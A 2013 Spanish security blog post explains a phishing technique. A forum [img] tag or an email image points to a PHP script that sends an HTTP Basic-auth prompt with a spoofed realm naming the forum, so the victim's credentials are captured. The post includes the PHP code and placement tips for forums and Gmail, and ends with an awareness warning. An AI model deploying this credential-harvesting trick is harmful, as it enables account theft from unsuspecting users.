18 Abril, 2013 a las 14:04

seguridadHoy quiero compartir un método de ingeniería social que nunca he visto documentado, pero muy creíble y eficaz que se apoya de la propiedad que tienen muchas aplicaciones (Web o de escritorio) de realizar peticiones HTTP a servidores remotos. Un buen ejemplo sería la particularidad que tienen los foros de Internet a incluir imágenes de servidores externos mediante la etiqueta [IMG] o <img>.

Estas peticiones envían nuestras cabeceras igual que a cualquier otra Web y podemos enlazar imágenes o un fichero php corriente, la única diferencia es que el navegador intentará mostrarlo como una imagen una vez descargado y quizás no pueda, pero en la parte de servidor se ejecutará todo igual, por lo que estas consultas pueden diseñarse para realizar cualquier acción que se le permita al navegador y es aquí donde se puede aprovechar la ingeniería social para perpetuar ataques tipo phishing, entre otros.

Un caso típico de phishing es enviar un enlace donde se pide un usuario y contraseña simulando ser una página legítima, estadísticamente sigue funcionando, pero a día de hoy no es tan efectivo por que es fácilmente detectable con solo ver la URL, además la gente está bastante “educada” de no abrir enlaces desconocidos, así que lo que veremos es como solicitar las credenciales a un usuario sin que este visite un sitio Web, simplemente le aparecerá la ventana de login mientras abre un hilo.

Caso práctico: Robo de credenciales de un foro sin abandonar la Web

Como hemos visto antes, una consulta HTTP que solicita una imagen es exactamente igual a una consulta que solicita un fichero, una imagen puede tener extension .php o cualquier otra. Los captcha, por ejemplo al ser una imagen dinámica tienen extensión .php ya que se autogeneran a si mismos cada vez que se imprimen ¿pero cómo puede utilizarse esto en un ataque de phishing? El protocolo HTTP incluye una característica de autentificación que permite al administrador poner ciertos ficheros o directorios bajo contraseña, al realizar una petición hacia ellos el usuario verá un formulario de login, si habéis entrado a un router sabréis de lo que estoy hablando. Un ejemplo de fichero que solicita contraseña al recibir una petición HTTP sería este

fichero.php

<?php
    header('WWW-Authenticate: Basic realm="http://www.forodeejemplo.com/fileattach?foto.jpg"');
    header('HTTP/1.0 401 Unauthorized');
    exit();
?>


Básicamente estamos enviando una cabecera que dice al navegador “Oye, para ver este fichero necesito que me des una contraseña”, en esta cabecera, además tenemos un campo (realm) en el que podemos escribir lo que queramos, esto normalmente se hace para describir el servicio o el por que se necesita una contraseña. Como queremos pasar inadvertidos nosotros pondremos una URL interna del foro, así el usuario pensará la solicitud proviene de desde el propio foro, esto es lo que se vería al intentar abrir el fichero a través del navegador

saaaaaa

Si un usuario una contraseña podríamos leerlas mediante $_SERVER[‘PHP_AUTH_USER’] y $_SERVER[‘PHP_AUTH_PW’], por lo que un fichero que solicitara un usuario y contraseña y una vez introducidos los guardara en un txt podría ser algo como

fichero.php

<?php
if (!isset($_SERVER['PHP_AUTH_USER'])) { //Si no se ha introducido ningun usuario
    header('WWW-Authenticate: Basic realm="http://www.forodeejemplo.com/fileattach?foto.jpg"'); //Muestra la ventana de credenciales
    header('HTTP/1.0 401 Unauthorized');
    exit;
}else { //Si se ha introducido algun usuario lo guarda en documento.txt
}
?>

Pero claro, si queremos sacar esto a flote no nos valdría con abrir un hilo con un enlace a dicho fichero ya que la mayoría de gente, al ver que pulsan un enlace que les lleva fuera del foro pensarían que la contraseña se refiere a otro sitio o directamente se darían cuenta del intento de engaño. Nosotros queremos que el formulario de usuario y contraseña aparezca directamente en el foro, pues nada mas simple como crear un mensaje que apunte hacia nuestro fichero mediante las etiquetas de imagen [img]http://url_maliciosa/imagen.php[/img]

Captura2

Cuando alguien abra el hilo, al cual obviamente le pondremos un título sugerente e interesante (o responderemos a uno que creamos que va a tener éxito) aparecerá una bonita ventana de login la cual aparece dentro del propio foro y haciendo referencia a una foto.

Para el usuario es algo muy transparente, está navegando por el foro y de golpe el propio foro parece que le pide las credenciales para ver un fichero adjunto, la URL del navegador sigue siendo legítima, no ha seguido ningún enlace externo, no hay motivo aparente para desconfiar.

Pero esto es ampliable a muchos otros caso, por ejemplo, imagina que mandas un correo con dicha imagen a un email de Gmail, hay dos posibilidades si tiene el filtro de imágenes activado le pedirá hacer clic en “mostrar imágenes” y una vez lo haga pedirá login y si está desactivado, al intentar abrir el mensaje pedirá login, además como Gmail es tal “cool” carga el email en segundo plano por lo que aparece el formulario incluso antes de abrirlo

Capturasda

En definitiva y por concluir hemos aprendido a que NUNCA hay que introducir nuestras credenciales si no estamos totalmente seguros de lo que estamos haciendo ya que a veces lo que el ojo ve no es lo que hay que creer.

Acerca de Miguel Díaz

Informático, enamorado de la programación, diseño Web y el deporte.
Categorías: Internet, Pentesting, Privacidad, Seguridad.

Un comentario en Ingeniería social mediante solicitudes HTTP remotas – Un ejemplo de phishing

  1. Muy interesante, habra que probar un poco.

Deja un comentario

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *